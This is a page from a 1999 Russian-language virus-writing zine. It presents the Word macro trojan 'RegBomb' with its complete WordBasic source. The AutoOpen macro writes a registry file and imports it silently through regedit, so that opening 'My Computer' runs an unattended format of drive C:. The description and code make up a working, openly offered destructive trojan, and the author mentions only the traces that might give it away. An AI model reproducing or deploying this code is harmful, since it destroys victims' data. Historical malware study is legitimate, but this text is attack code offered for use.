- [Duke's Virus Labs #6] - [Page 19] -

Macro.Word.Trojan.RegBomb
(c) by Duke/SMF

Имя троянца   : Macro.Word.Trojan.RegBomb
Автор         : Duke/SMF
Язык прогр.   : WordBasic
Дата создания : 27.03.99

   Теперь троянец RegBomb и в DOC-формате ! Действия выполняются те же самые,
только из под Word'а. Достаточно открыть документ-троянец в окне Word'а, и
троянец запишется в реестр Windows. Ну, после этого остается уповать на
судьбу...
   Троянец состоит из единственного макроса AutoOpen. Он создает текстовый
файл, содержащий текст бомбы в REG-формате, и сохраняет его на диске в файл
c:\regbomb.reg. После чего запускается программа regedit.exe, которая и
завершает инсталляцию. Есть у троянца и демаскируюшие его минусы :
   - остается открытым MessageBox программы regedit с сообщением о том,
     что содержимое c:\regbomb.reg успешно внесено в реестр
   - остается на диске файл c:\regbomb.reg

===== Cut here =====
Sub MAIN
title$ = "c:\regbomb.reg"
copyright$ = "Macro.Word.Trojan.RegBomb (c) by Duke/SMF"
FileNew
Insert "REGEDIT4" + Chr$(13) + Chr$(10)
Insert "" + Chr$(13) + Chr$(10)
Insert "[HKEY_LOCAL_MACHINE" + Chr$(92) + \
"SOFTWARE\Classes\CLSID\{20D04FE0" + \
"-3AEA-1069-A2D8-08002B30309D}\shell\Open]" + Chr$(13) + Chr$(10)
Insert "" + Chr$(13) + Chr$(10)
Insert "[HKEY_LOCAL_MACHINE" + Chr$(92) + \
"SOFTWARE\Classes\CLSID\{20D04FE0-3AEA" + \
"-1069-A2D8-08002B30309D}\shell\Open\Command]" + Chr$(13) + Chr$(10)
Insert "@=" + Chr$(34) + "start /minimized command /c echo y" + \
"|format c: /u >nul" + Chr$(34) + Chr$(13) + Chr$(10)
Insert ""
FileSaveAs .Name = title$, .Format = 4
FileClose(2)
Shell Environ$("WINDIR") + "\regedit.exe " + title$, 0
End Sub
===== Cut here =====